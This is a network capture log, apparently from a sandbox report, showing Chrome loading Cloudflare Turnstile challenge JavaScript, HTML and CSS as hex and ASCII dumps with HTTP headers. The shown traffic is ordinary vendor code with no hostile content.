2024-12-05 21:16:29 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:29 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47695 Connection: close accept-ranges: bytes last-modified: Thu, 21 Nov 2024 17:58:42 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ed70eb97c6def9d-EWR alt-svc: h3=":443"; ma=86400
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function qt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 53 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Se;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 49 4e 47 3d 22 6b 65 65 70 73 2d 6c 6f 6f 70 69 6e 67 22 2c 65 2e 54 4f 4f 5f 53 4c 4f 57 3d 22 74 6f 6f 2d 73 6c 6f 77 22 2c 65 2e 4f 54 48 45 52 3d 22 6f 74 68 65 72 22 7d 29 28 69 74 7c 7c 28 69 74 3d 7b 7d 29 29 3b 76 61 72 20 57 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 46 41 49 4c 55 52 45 3d 22 66 61 69 6c 75 72 65 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 4f 56 45 52 52 55 4e 4e 49 4e 47 3d 22 6f 76 65 72 72 75 6e 6e 69 6e 67 22 2c 65 2e 43 55 53 54 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 Data Ascii: ING="keeps-looping",e.TOO_SLOW="too-slow",e.OTHER="other"})(it\|\|(it={}));var We;(function(e){e.FAILURE="failure",e.VERIFYING="verifying",e.OVERRUNNING="overrunning",e.CUSTOM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function ot(e){r
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 76 61 72 20 48 65 3d 22 63 66 2d 63 68 6c 2d 77 69 64 67 65 74 2d 22 2c 56 3d 22 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 5a 74 3d 22 2e 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 2c 65 72 3d 22 2e 63 66 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 74 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 5f 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 45 74 3d 22 67 2d 72 65 63 61 70 Data Ascii: el",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}var He="cf-chl-widget-",V="cloudflare-challenge",Zt=".cf-turnstile",er=".cf-challenge",tr=".g-recaptcha",_t="cf_challenge_response",bt="cf-turnstile-response",Et="g-recap
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 3f 4d 72 28 7b 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3a 6c 2c 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 3a 67 2c 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 3a 63 7d 29 3a 63 26 26 67 3f 22 35 32 30 70 78 22 3a 63 26 26 6c 3f 22 35 30 30 70 78 22 3a 63 3f 22 34 38 30 70 78 22 3a 67 3f 22 35 38 30 70 78 22 3a 22 35 37 30 70 78 22 7d 2c 4d 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 65 2e 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 Data Ascii: nonexistent");return o?Mr({isModeratelyVerbose:l,isVerboseLanguage:g,isSmallerFeedback:c}):c&&g?"520px":c&&l?"500px":c?"480px":g?"580px":"570px"},Mr=function(e){var r=e.isVerboseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 6e 29 7d 2c 63 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 75 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f Data Ascii: oto__\|\|Object.getPrototypeOf(n)},ce(e)}function ur(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function qe(e){var r=typeof Map=="function"?new Map:void 0;return qe=function(o){if(o===null\|\|!ur(o))return o;if(typeof o!="function")thro
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 6e 74 29 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 6e 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 44 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 66 72 28 29 7b 76 61 72 20 65 3d 41 74 28 29 3b 65 7c 7c 6d 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 Data Ascii: nt)&&e.test(r.src))return r;for(var n=document.querySelectorAll("script"),o=0,c;c=n[o];o++)if(D(c,HTMLScriptElement)&&e.test(c.src))return c}function fr(){var e=At();e\|\|m("Could not find Turnstile script tag, some features may not be available",43777);var
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 73 4e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 45 2e 69 64 3d 22 63 66 2d 66 72 2d 69 64 22 2c 45 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 78 57 69 64 74 68 3d 22 34 35 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 52 74 28 72 29 2c 45 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 72 65 6c 61 74 69 76 65 22 2c 45 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 37 22 2c 45 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 Data Ascii: sName="cf-turnstile-feedback",E.id="cf-fr-id",E.style.width="100vw",E.style.maxWidth="450px",E.style.height=Rt(r),E.style.position="relative",E.style.zIndex="2147483647",E.style.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.sty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49765	104.18.95.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:28 UTC	800	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://es.ineffable9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:29 UTC	1362	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26460 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-05 21:16:29 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 64 37 30 65 62 39 38 39 32 62 31 38 32 64 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8ed70eb9892b182d-EWRalt-svc: h3=":443"; ma=86400
2024-12-05 21:16:29 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2024-12-05 21:16:29 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
